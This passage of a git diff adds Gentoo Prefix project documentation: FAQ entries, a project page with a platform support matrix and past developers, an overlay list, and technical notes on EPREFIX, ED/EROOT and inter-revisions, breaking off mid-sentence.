+
+  <section>
+  <title>XXX ebuild works for me, now what?</title>
+  <body>
+  <p>
+  Please report it! See above and also see <uri
+  link="http://www.gentoo.org/proj/en/gentoo-alt/prefix/ecopy.xml#doc_chap2">here</uri>
+  </p>
+  </body>
+  </section>
+
+  <section>
+  <title>I want to run Gentoo Prefix within my company, am I allowed to do so?</title>
+  <body>
+  <p>
+  Of course, see above for support ;) Also, you must obey whichever license as
+  applies.
+  </p>
+  </body>
+  </section>
+  
+  <section>
+  <title>How mature is Gentoo Prefix?</title>
+  <body>
+  <p>
+  Many of us use Gentoo Prefix everyday and it has been in existance since
+  2004. Keep in mind that you are riding the tip of the portage code and the
+  latest packages as they exist in the gentoo-x86 tree.
+
+  Gentoo Prefix is believed to have a reasonable maturity. However, as always,
+  our software comes without warranty.
+  </p>
+  </body>
+  </section>
+
+  <section>
+  <title>What is the "gentoo-x86 tree" ?</title>
+  <body>
+  <p>
+  gentoo-x86 (sometimes simply referred to as gx86) is what Gentoo Linux
+  calls their tree that contains all the
+  ebuilds. See <uri link="http://sources.gentoo.org/viewcvs.py/gentoo-x86/">
+  here.</uri>
+  </p>
+  </body>
+  </section>
+
+  <section>
+  <title>On which platforms does Gentoo Prefix run on?</title>
+  <body>
+  <p>
+  Many platforms, including but not limited to: RHEL, SLES, HP-UX, AIX, Solaris,
+  Mac OS X, Interix (SFU on Windows).
+  </p>
+  </body>
+  </section>
+
+  <section>
+  <title>What is the best way to contact a Gentoo Prefix developer?</title>
+  <body>
+  <p>
+  Please do not send us private mail. We prefer to receive list mail.
+  See above for info on the gentoo-alt mailing list.
+  </p>
+  </body>
+  </section>
+
+  <section>
+  <title>I want to import an ebuild, how do I go about that?</title>
+  <body>
+  <p>
+  <uri
+  link="http://www.gentoo.org/proj/en/gentoo-alt/prefix/ecopy.xml">Documentation</uri>
+  already exists.
+  </p>
+  </body>
+  </section>
+
+  <section>
+  <title>I want to uninstall Gentoo Prefix from my system, how?</title>
+  <body>
+  <p>
+  rm -rf "${EPREFIX}" 
+  </p>
+  </body>
+  </section>
+
+  <section>
+    <title>What is the difference between gcc and gcc-apple?</title>
+    <body>
+      <p>
+        Mac OS X users will have gcc-apple installed, which is Apple's
+        branch of the GCC compiler.  Normal GCC compiles fine on Mac OS
+        X as well.  The difference between the two are modifications
+        made by Apple that are not in FSF GCC.  Many of these
+        modifications are necessary for applications like Qt, MPlayer
+        and GHC to compile.  For this reason, Mac OS X users need
+        gcc-apple to be installed.
+      </p>
+    </body>
+  </section>
+
+  <section>
+    <title>A fix was committed, but I don't have it, how come?</title>
+    <body>
+      <p>
+        Gentoo Prefix users no longer are using a SVN snapshot as their
+        portage tree.  This means a commit made by a developer is not
+        directly accessible to users.  Instead, users are using an rsync
+        version of the portage tree that is amongst others enriched with
+        metadata for improved performance.  This tree is generated twice
+        an hour, at 01 and 31.  The generation usually takes about 5
+        minutes, but may take up to 25 minutes when lots of changes have
+        been committed.  From the moment the generation is done, the
+        rsync slaves have to pick up the updated copy from the main
+        generation server.  The slaves will sync with the main server in
+        the last 5 minutes, thus from 25th till 30th minute.
+      </p>
+      <p>
+        In short this means that you can only safely sync to get the fix
+        60 minutes after the commit has taken place.
+      </p>
+    </body>
+  </section>
+
+  <section>
+  <title>I don't understand something in this FAQ!</title>
+  <body>
+  <p>Please join #gentoo-prefix on irc.gentoo.org or utilize the gentoo-alt
+  mailing list.
+  </p>
+  </body>
+  </section>
+
+</chapter>
+</guide>
+
+<!-- vim: set expandtab ts=2 sw=2 foldmethod=marker foldenable: -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/index.xml b/xml/htdocs/proj/en/gentoo-alt/prefix/index.xml
new file mode 100644
index 00000000..66fb0f20
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/index.xml
@@ -0,0 +1,456 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/prefix/index.xml,v 1.40 2010/01/30 03:47:49 abcd Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>prefix</name>
+  <longname>Gentoo Prefix</longname>
+
+  <date>2010-01-07</date>
+
+  <author title="Author">
+    <mail link="grobian@gentoo.org">Fabian Groffen</mail>
+  </author>
+
+  <description>Gentoo Prefix</description>
+
+  <longdescription>
+    <p>
+      An effort to bring the virtues of Gentoo Linux to users on
+      different operating systems, by means of installing in a "prefix".
+    </p>
+    <p>
+      Usually, Gentoo's Portage installs in the root of the filesystem
+      hierarchy, '/'.  On systems other than Gentoo Linux, this usually
+      results in problems, due to conflicts of software packages, unless
+      the OS is adapted like Gentoo/FreeBSD.
+      Instead, Gentoo Prefix installs with an offset, allowing
+      to install in another location in the filesystem hierarchy, hence
+      avoiding conflicts.  Next to this offset, Gentoo Prefix
+      runs unprivileged, meaning no root user or rights are required to
+      use it.
+    </p>
+    <p>
+      Using an offset, a "prefix", it is possible for many "alternative"
+      user groups to benefit from a large part of the packages in the
+      Gentoo Linux Portage tree.  Currently users of the following
+      systems successfully run Gentoo Prefix: Mac OS X on PPC and x86,
+      Linux on x86, x86_64 and ia64, Solaris 10 on Sparc, Sparc/64, x86
+      and x86_64, FreeBSD on x86, AIX on PPC, Interix on x86, Windows on
+      x86 (with the help of Interix) and HP-UX on PARISC and ia64.
+    </p>
+  </longdescription>
+
+  <dev role="Lead" description="maintainer Prefix Portage">grobian</dev>
+  <dev role="Developer">haubi</dev>
+  <dev role="Developer">mduft</dev>
+  <dev role="Developer">darkside</dev>
+  <dev role="Developer">fauli</dev>
+  <dev role="Developer">abcd</dev>
+
+  <extrachapter position="devs">
+    <title>Developer Platforms</title>
+
+    <section>
+      <title>Platform Matrix</title>
+
+      <body>
+        <table>
+          <tr>
+            <th></th>
+            <th>grobian</th>
+            <th>haubi</th>
+            <th>mduft</th>
+            <th>darkside</th>
+            <th>fauli</th>
+            <th>abcd</th>
+            <th>other</th>
+            <th>support</th>
+          </tr>
+          <tr>
+            <ti align="right">x86-linux</ti>
+            <ti align="center"></ti>
+            <ti align="center">x</ti>
+            <ti align="center">x</ti>
+            <ti align="center">o</ti>
+            <ti align="center"></ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center">excellent</ti>
+          </tr>
+          <tr>
+            <ti align="right">amd64-linux</ti>
+            <ti align="center">o</ti>
+            <ti align="center">x</ti>
+            <ti align="center">o</ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center">good</ti>
+          </tr>
+          <tr>
+            <ti align="right">ia64-linux</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">o</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">ok</ti>
+          </tr>
+          <tr>
+            <ti align="right">ppc-aix</ti>
+            <ti align="center"></ti>
+            <ti align="center">x</ti>
+            <ti align="center">o</ti>
+            <ti align="center">o</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">ok</ti>
+          </tr>
+          <tr>
+            <ti align="right">x86-freebsd</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">ok</ti>
+          </tr>
+          <tr>
+            <ti align="right">x64-freebsd</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">v</ti>
+            <ti align="center">bad</ti>
+          </tr>
+          <tr>
+            <ti align="right">hppa-hpux</ti>
+            <ti align="center"></ti>
+            <ti align="center">x</ti>
+            <ti align="center">o</ti>
+            <ti align="center">o</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">ok</ti>
+          </tr>
+          <tr>
+            <ti align="right">ia64-hpux</ti>
+            <ti align="center"></ti>
+            <ti align="center">x</ti>
+            <ti align="center">x</ti>
+            <ti align="center">o</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">good</ti>
+          </tr>
+          <tr>
+            <ti align="right">x86-interix</ti>
+            <ti align="center"></ti>
+            <ti align="center">o</ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center">o</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">ok</ti>
+          </tr>
+          <tr>
+            <ti align="right">mips-irix</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">e</ti>
+            <ti align="center">bad</ti>
+          </tr>
+          <tr>
+            <ti align="right">ppc-macos</ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">ok</ti>
+          </tr>
+          <tr>
+            <ti align="right">x86-macos</ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">a</ti>
+            <ti align="center">good</ti>
+          </tr>
+          <tr>
+            <ti align="right">x64-macos</ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">a</ti>
+            <ti align="center">good</ti>
+          </tr>
+          <tr>
+            <ti align="right">m68k-mint</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">a</ti>
+            <ti align="center">ok</ti>
+          </tr>
+          <tr>
+            <ti align="right">x86-netbsd</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">v</ti>
+            <ti align="center">bad</ti>
+          </tr>
+          <tr>
+            <ti align="right">ppc-openbsd</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">v</ti>
+            <ti align="center">bad</ti>
+          </tr>
+          <tr>
+            <ti align="right">x86-openbsd</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">v</ti>
+            <ti align="center">bad</ti>
+          </tr>
+          <tr>
+            <ti align="right">x64-openbsd</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">v</ti>
+            <ti align="center">bad</ti>
+          </tr>
+          <tr>
+            <ti align="right">sparc-solaris</ti>
+            <ti align="center">x</ti>
+            <ti align="center">x</ti>
+            <ti align="center">x</ti>
+            <ti align="center">o</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">a</ti>
+            <ti align="center">excellent</ti>
+          </tr>
+          <tr>
+            <ti align="right">sparc64-solaris</ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">a</ti>
+            <ti align="center">good</ti>
+          </tr>
+          <tr>
+            <ti align="right">x86-solaris</ti>
+            <ti align="center">x</ti>
+            <ti align="center">x</ti>
+            <ti align="center">x</ti>
+            <ti align="center">o</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">a</ti>
+            <ti align="center">excellent</ti>
+          </tr>
+          <tr>
+            <ti align="right">x64-solaris</ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">ok</ti>
+          </tr>
+          <tr>
+            <ti align="right">x86-winnt</ti>
+            <ti align="center"></ti>
+            <ti align="center">o</ti>
+            <ti align="center">x</ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center"></ti>
+            <ti align="center">ok</ti>
+          </tr>
+        </table>
+        <p>
+          Legend:
+        </p>
+        <table>
+          <tr>
+            <th>Symbol</th>
+            <th>Meaning</th>
+          </tr>
+          <tr>
+            <ti>x</ti>
+            <ti>actively maintained by developer</ti>
+          </tr>
+          <tr>
+            <ti>o</ti>
+            <ti>accessible to developer</ti>
+          </tr>
+          <tr>
+            <ti>v</ti>
+            <ti>outdated</ti>
+          </tr>
+          <tr>
+            <ti>a</ti>
+            <ti>actively maintained by a user/contributor</ti>
+          </tr>
+          <tr>
+            <ti>e</ti>
+            <ti>experimental effort by user/contributor</ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter>
+    <title>Gentoo Prefix Hall of Fame</title>
+
+    <section>
+      <title>Past Developers</title>
+      <body>
+
+        <p>
+          Over time, developers come and go again.  Some mysteriously
+          disappear, others loose interest and decide to leave.  For all
+          past contributors we would like to express our gratitude
+          towards them for helping the Prefix project to become what it
+          is today.
+        </p>
+        <table>
+          <tr>
+            <th colspan="2">Past Prefix Developers</th>
+          </tr>
+          <tr>
+            <ti>ferringb</ti>
+            <ti>
+              initial Portage developer to start the Prefix branch
+            </ti>
+          </tr>
+          <tr>
+            <ti>kito</ti>
+            <ti>
+              first prototypes of Prefix using a tree, Mac OS X
+              installer, many first time engineering and development
+              tasks
+            </ti>
+          </tr>
+          <tr>
+            <ti>exg</ti>
+            <ti>
+              Prefix Portage maintainer
+            </ti>
+          </tr>
+          <tr>
+            <ti>genstef</ti>
+            <ti>import of gtk+, qt4 and X11 applications for Mac OS X</ti>
+          </tr>
+          <tr>
+            <ti>pipping</ti>
+            <ti>
+              many package additions for Perl, Python, Ruby and Java,
+              lots of Mac OS X targetted fixes and features, pioneer for
+              Darwin9 (Leopard 10.5) support
+            </ti>
+          </tr>
+          <tr>
+            <ti>drizzt</ti>
+            <ti>
+              mostly reviving Solaris 9 support, by fixing packages in
+              the tree
+            </ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+  </extrachapter>
+
+  <resource link="mailto:gentoo-alt@lists.gentoo.org">
+    gentoo-alt mailing lists
+  </resource>
+
+  <resource link="irc://irc.gentoo.org/#gentoo-prefix">
+    #gentoo-prefix channel on FreeNode
+  </resource>
+
+  <resource link="techdocs.xml">
+    How Gentoo Prefix works, and what changes are necessary to get
+    ebuilds working.
+  </resource>
+
+  <resource link="bootstrap.xml">
+    Bootstrapping a Gentoo Prefix system.  Howtos for Mac OS X,
+    Windows, FreeBSD 8.0 and Solaris 10 and above.
+  </resource>
+
+  <resource link="usecases.xml">
+    An article with a global overview of Gentoo Prefix, including use
+    cases examplifying who could benefit from a Prefix installation.
+  </resource>
+
+  <resource link="ecopy.xml">
+    A guide describing the tool 'ecopy' and how to use it to port packages to
+    the Prefix tree.
+  </resource>
+
+  <resource link="faq.xml">
+    Frequently Asked Questions about the Gentoo Prefix project
+  </resource>
+
+</project>
+
+<!-- vim: set expandtab ts=2 sw=2: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/layman-prefix.txt b/xml/htdocs/proj/en/gentoo-alt/prefix/layman-prefix.txt
new file mode 100644
index 00000000..45717c6b
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/layman-prefix.txt
@@ -0,0 +1,87 @@
+<?xml version="1.0" ?>
+<layman>
+
+  <overlay
+    type = "svn"
+    src  = "http://www.dicianno.org/svn/PrefixPortage/branches/overlay-fafhrd"
+    contact = "armando@goodship.net"
+    name = "fafhrd-branch">
+
+    <link>
+      http://www.dicianno.org/
+    </link>
+
+    <description>
+      Armando Di Cianno's overlay with "known to be working" ebuilds.
+    </description>
+
+  </overlay>
+
+  <overlay
+    type = "git"
+    src  = "git://repo.or.cz/portage-prefix-bleeding-edge-ebuilds.git"
+    contact = "elias@pipping.org"
+    name = "pippings-bleeding-edge">
+
+    <link>
+      http://repo.or.cz/w/portage-prefix-bleeding-edge-ebuilds.git/
+    </link>
+
+    <description>
+      Elias Pipping's bleeding edge ebuilds
+    </description>
+
+  </overlay>
+  
+  <overlay
+    type = "git"
+    src  = "git://repo.or.cz/heikos-i-prolly-break-your-prefix-overlay.git"
+    contact = "zuxez@cs.tu-berlin.de"
+    name = "heikos-break-your-prefix">
+
+    <link>
+      http://repo.or.cz/w/heikos-i-prolly-break-your-prefix-overlay.git/
+    </link>
+
+    <description>
+      heiko_'s I prolly break your Prefix ebuilds
+    </description>
+
+  </overlay>
+  
+  <overlay
+    type="git"
+    name="ruby"
+    contact="gentoo@bitcetera.com"
+    src="git://github.com/svoop/prefixed-ruby-overlay.git">
+
+    <link>
+      http://overlays.gentoo.org/proj/ruby/wiki
+    </link>
+
+    <description>
+      Bleeding-edge Ruby related ebuilds for Gentoo Prefix.
+    </description>
+
+  </overlay>
+
+  <overlay
+    type="bzr"
+    name="godserv"
+    contact="jacobgodserv@gmail.com"
+    src="lp:~fun2program8/+junk/prefix-overlay">
+
+    <link>
+      https://code.edge.launchpad.net/~fun2program8/+junk/prefix-overlay
+    </link>
+
+    <description>
+      This overlay provides some ebuilds which are not available in Gentoo
+      Prefix yet. The goal is to use this as a holding area (more or less for me
+      :) while the queue for Gentoo Prefix submission is worked on.
+    </description>
+
+  </overlay>
+
+</layman>
+<!-- vim:set ts=2 sw=2 expandtab: -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/techdocs.xml b/xml/htdocs/proj/en/gentoo-alt/prefix/techdocs.xml
new file mode 100644
index 00000000..59da8433
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/techdocs.xml
@@ -0,0 +1,359 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/prefix/techdocs.xml,v 1.13 2009/05/20 20:48:50 darkside Exp $ -->
+
+<guide link="/proj/en/gentoo-alt/prefix/techdocs.xml" lang="en">
+  <title>Gentoo Prefix Techdocs</title>
+
+  <author title="Author">
+    <mail link="grobian@gentoo.org">Fabian Groffen</mail>
+  </author>
+
+  <abstract>
+    Technical documentation on Gentoo Prefix
+  </abstract>
+
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.23</version>
+  <date>2009-05-20</date>
+
+  <chapter>
+    <title>Changes to Portage</title>
+
+    <section><!-- {{{ Global -->
+      <title>Global</title>
+      <body>
+
+        <p>
+          What does Gentoo Prefix do more?  For short, it allows to
+          install packages into an offset, without root privileges.  The
+          longer answer includes how this is done, and why.  To start
+          with the latter one, let's see how the land of the package
+          manager (Portage) looks like.
+        </p>
+        <p>
+          A package manager can be primary, or secondary.  In the first
+          case, the package manager is responsible for building the
+          (core) system, while in the latter case, the package manager
+          builds on top of an existing system to enhance it.  Please
+          note that this is by no means meant as a formal definition of
+          the general concept "package manager".  Within this document
+          it is used as entity that is natively responsible for managing
+          software packages on the OS it works on.  Effectively, this
+          means that Gentoo Portage is not the primary package manager
+          on Apple Mac OS X, Sun Solaris, Debian, Ubuntu, etc.  Gentoo
+          Portage is the primary package manager on its Gentoo GNU/Linux
+          distribution, and as such, the Gentoo Portage tree matches
+          this goal.
+        </p>
+        <p>
+          The Portage version we use in Gentoo Prefix is meant to be a
+          secondary package manager.  Therefore it doesn't require root
+          privileges, and has to install into another place than
+          <path>/</path>, because there the primary package manager is
+          already in charge.
+        </p>
+        <p>
+          This Portage version started as a set of patches by Michael
+          Haubenwallner, that were finally applied to a new branch of
+          portage development: Prefix.  In this branch, initially
+          managed by Brian Harring, then later by Kito Dietrich, lots of
+          development made Prefix portage into what it is currently.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Technical state -->
+      <title>Technical state</title>
+      <body>
+
+        <p>
+          The Portage version used in Gentoo Prefix resides in the
+          <path>prefix</path> branch of
+          the main Portage Subversion repository.  Its sources can be
+          inspected at
+          <uri>http://sources.gentoo.org/viewcvs.py/portage/main/branches/prefix/</uri>.
+          <br />
+          Currently, the Portage in this branch code is very close to
+          the <c>trunk</c> in subversion.  Patches made in the
+          <c>trunk</c> usually apply cleanly to the <c>prefix</c>
+          branch.  Hence, it is easy to keep the two synchronised using
+          frequent merge operations.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Tree state -->
+      <title>Tree state</title>
+      <body>
+
+        <p>
+          Since the Gentoo Linux Portage tree is not compatible with
+          Gentoo Prefix, an overlay has been created, which is
+          currently hosted on
+          <uri>http://overlays.gentoo.org/proj/alt/browser/trunk/prefix-overlay</uri>.
+          This has the disadvantage of not inheriting all packages from
+          the main tree automatically.  Instead each package has to be
+          converted to be Prefix compatible.  Luckily for most packages
+          these changes are trivial, and can be automatically performed
+          by the <c>eapify</c> script, which can be found in the
+          <path>scripts</path> directory of the prefix-overlay.
+        </p>
+        <p>
+          Compared to the main tree, the Prefix tree is rather small.
+          Adding packages is usually a simple job, using the tools from
+          the <path>scripts</path> directory mentioned before.  Keeping
+          the packages synchronised with the main tree is also
+          facilitated by a script that is capable of applying the diffs
+          with some intelligence between revisions.  Also "cross-diffs",
+          diffs between versions to create a new ebuild version,
+          retaining as much changes as added in the previous version are
+          implemented, keeping the maintenance overhead rather low.
+          <br />
+          While the Prefix tree contains enough packages to bootstrap a
+          Prefix system, run some editor and read mail via <c>mutt</c>, it
+          currently lacks packages in a number of areas.  We are
+          constantly looking on how to expand on these areas, but mostly
+          rely on contributors doing the initial pioneer work.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+  </chapter>
+
+  <chapter>
+    <title>Ebuild modifications</title>
+
+    <section><!-- {{{ EPREFIX -->
+      <title>EPREFIX variable</title>
+      <body>
+        <p>
+          Since Portage will install in an offset, called a "prefix", in
+          some cases it might be necessary to directly handle with this
+          offset.  Some configure scripts for example require paths to
+          be given next to <c>--prefix</c>, <c>--libdir</c>, etc. (all
+          what <c>econf</c> covers), or some packages can't use
+          <c>econf</c> at all.  For those occasions the variable
+          <c>${EPREFIX}</c> is available in ebuilds and eclasses,
+          pointing to the root of the offset.  For an offset
+          <path>/Library/Gentoo</path> for example, the variable
+          <c>${EPREFIX}</c> would contain <path>/Library/Gentoo</path>.
+          This allows to easily use it for example like <c>econf
+            --with-some-app="${EPREFIX}"/usr/bin/some-app</c>.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ ED and EROOT -->
+      <title>The variables ED and EROOT</title>
+      <body>
+        <p>
+          In normal ebuilds, <c>${D}</c> refers to the destination
+          directory in a temporary location before all files are
+          actually merged into the live filesystem.  Since in Gentoo
+          Prefix <c>configure</c> is run with <c>--prefix=${EPREFIX}/usr</c>
+          in principle no changes are required.  However,
+          for all modifications to the build image, as is common
+          practise in many ebuilds, <c>${D}${EPREFIX}</c> should be
+          used.  While this is a clean and logical result of using an
+          offset, it increases the burden of "porting" ebuilds.  For
+          this purpose the variable <c>${ED}</c> was introduced.  It
+          contains the value of <c>${D}${EPREFIX}/</c> and functions as
+          handy shortcut, which is easy to change.  Usually, all but one
+          occurrences of <c>${D}</c> in an ebuild (or eclass) have to be
+          replaced by <c>${ED}</c> to work properly in the prefix.
+          Remember that when using <c>make DESTDIR="${D}" install</c> the
+          <c>${D}</c> should in general <e>not</e> be changed, as
+          configure was called with <c>--prefix="${EPREFIX}"/usr</c>.
+        </p>
+        <p>
+          The variable <c>${ROOT}</c> has for the same purpose a
+          corresponding <c>${EROOT}</c> which contains
+          <c>${ROOT}${EPREFIX}</c>.  Often when <c>${ROOT}</c> is being
+          used, this can be replaced by <c>${EROOT}</c> to add Gentoo
+          Prefix support.
+        </p>
+        
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ EPREFIX or EROOT -->
+      <title>Using EPREFIX and EROOT</title>
+      <body>
+        <p>
+          Given that <c>${EROOT}</c> is <c>${ROOT}${EPREFIX}</c>, using
+          <c>${EROOT}</c> or <c>${EPREFIX}</c> is defined by the
+          following rule.  The rule is simple and automatable, whether
+          or not it is "correct", for Gentoo Prefix this rule always holds:
+        </p>
+        <p>
+          <e>If the main tree ebuild uses</e> <c>${ROOT}</c><e>, we
+          respect</e> <c>${ROOT}</c><e> and usually use</e>
+          <c>${EROOT}</c><e>, however if the main tree does not
+          use</e> <c>${ROOT}</c><e>, we only add the offset,</e>
+          <c>${EPREFIX}</c><e>.</e>
+        </p>
+        <p>
+          This rule basically means that you <e>never</e> add
+		  <c>${EROOT}</c> yourself, if there isn't a <c>${ROOT}</c> in
+          the main tree ebuild.  Repeating: whether or not that is
+          "correct", for Gentoo Prefix this rule always holds.  Rationale is
+          simple: if it is a bug, it is a bug that should be fixed
+          "upstream" (in the main tree), and that fix propagated to
+          Gentoo Prefix.  We don't want any extra differences between main
+          tree and Gentoo Prefix, to keep maintenance and the amount of
+          unrelated changes low.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ inter-revisions -->
+      <title>Ebuild inter-revisions</title>
+      <body>
+        <p>
+          Gentoo Prefix ebuilds are currently merged from the main tree,
+          and kept in sync.  This process is half automated using
+          scripts and in short takes differences from the main tree to
+          apply them on the Prefix tree.  This process assures that
+          changes made to the Prefix tree are not lost, where it still
+          is possible to merge most changes.  For this to work, the
+          ebuilds need to keep the same filename as in the main tree
+          though.  This way an ebuild in the Prefix tree can be compared
+          to the same ebuild in the main tree.  Since in Prefix also
+          fixes need to be pushed to users, a revision of an ebuild
+          cannot be simply bumped, since this would break
+          synchronisation and result in collisions when the main tree
+          does a revision bump too.  For this purpose,
+          <e>inter-revisions</e> have been implemented in Gentoo Prefix.
+          They allow to specify a higher version to an ebuild, while
+          maintaining the connection with the main tree.
+          Inter-revisions are simple sub-revisions of main revisions,
+          meaning that for every revision, a numbered sub-revision
+          (inter-revision) version can exist.  To make Portage
+          distinguish normal and inter-revisions, the latter ones start
+          with a 0 followed by the normal revision number.  The
+          inter-revision is added as dot and the number.  An example
+          inter-revision 2 of revision 3 would be <c>-r03.2</c>.  Note
+          that the inter-revision of a revision<e>less</e> ebuild is the
+          inter-revision of revision 0.  For example: <c>-r00.1</c>.
+        </p>
+        <p>
+          The effect of inter-revisions on Portage is that the
+          sub-revision part is taken into account when comparing the
+          versions.  A normal revision has a sub-revision of 0, hence
+          <c>-r01.1</c> is greater than <c>-r1</c>.  This allows to bump
+          a package in Prefix only.  For the update scripts, however,
+          the inter-revision is not taken into account.  Hence, when an
+          inter-revision ebuild is compared with the main tree, it is
+          compared to the revision part only, thereby not breaking the
+          connection between the Prefix tree and the main tree.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ prefix.eclass -->
+      <title>prefix.eclass</title>
+      <body>
+        <p>
+          In some cases, the offset prefix needs to be hardcoded into
+          files.  Examples are shebangs with arguments or references to
+          config files.  The <c>prefix.eclass</c> provides the function
+          <c>eprefixify</c>, which replaces each occurrence of
+          <c>@GENTOO_PORTAGE_EPREFIX@</c> with the offset prefix as
+          known by Portage.  To use the eprefixify function on files
+          (e.g. after patching), one needs to inherit the prefix eclass.
+        </p>
+      </body>
+    </section><!-- }}} -->
+  </chapter>
+
+  <chapter>
+    <title>Gentoo Prefix tree developer policies</title>
+
+    <section><!-- {{{ updating -->
+      <title>Main tree migrations</title>
+      <body>
+        <p>
+          In principle, all ebuilds in the Gentoo Prefix tree are modified
+          copies from their versions in the main tree, as used by Gentoo
+          Linux.  This means that each ebuild is copied and hence needs
+          to be kept in sync with the main tree version.  Since ebuilds
+          in the Prefix tree may have manual modifications (those not
+          automatically made by <c>eapify</c>), the process of keeping
+          the Prefix tree in sync with the main tree is not as straight
+          forward as simply re-copying and re-<c>eapify</c>ing.
+          Instead, a complex script, <c>eupdate</c> is used to apply the
+          differences made to an ebuild in the main tree, to the version
+          in the Prefix tree.  Also when new versions of ebuilds are
+          added to the main tree, the <c>eupdate</c> script derives a
+          new version in the Prefix tree, based on the differences
+          between the latest two versions of the ebuilds in the main
+          tree.  This process is called a <e>cross-diff</e>.  Both
+          updating strategies may fail depending on modifications made
+          to the ebuild in the Prefix tree.  In 90% of the cases, both
+          update strategies apply without problems, and semi-automatic
+          propagation relies on that to currently merge changes from the
+          main tree on a daily basis, with a limited investment of time
+          on (manually) resolving the conflicts.
+        </p>
+        <p>
+          Mainly because manually resolving conflicts is a tedious job,
+          the main policy in the Prefix tree with regard to
+          modifications made to the main tree version is sound and
+          simple: <b>avoid any change that is not strictly
+            necessary</b>!.  This boils down to the following concrete
+          rules that need to be taken into account.  Quoting of
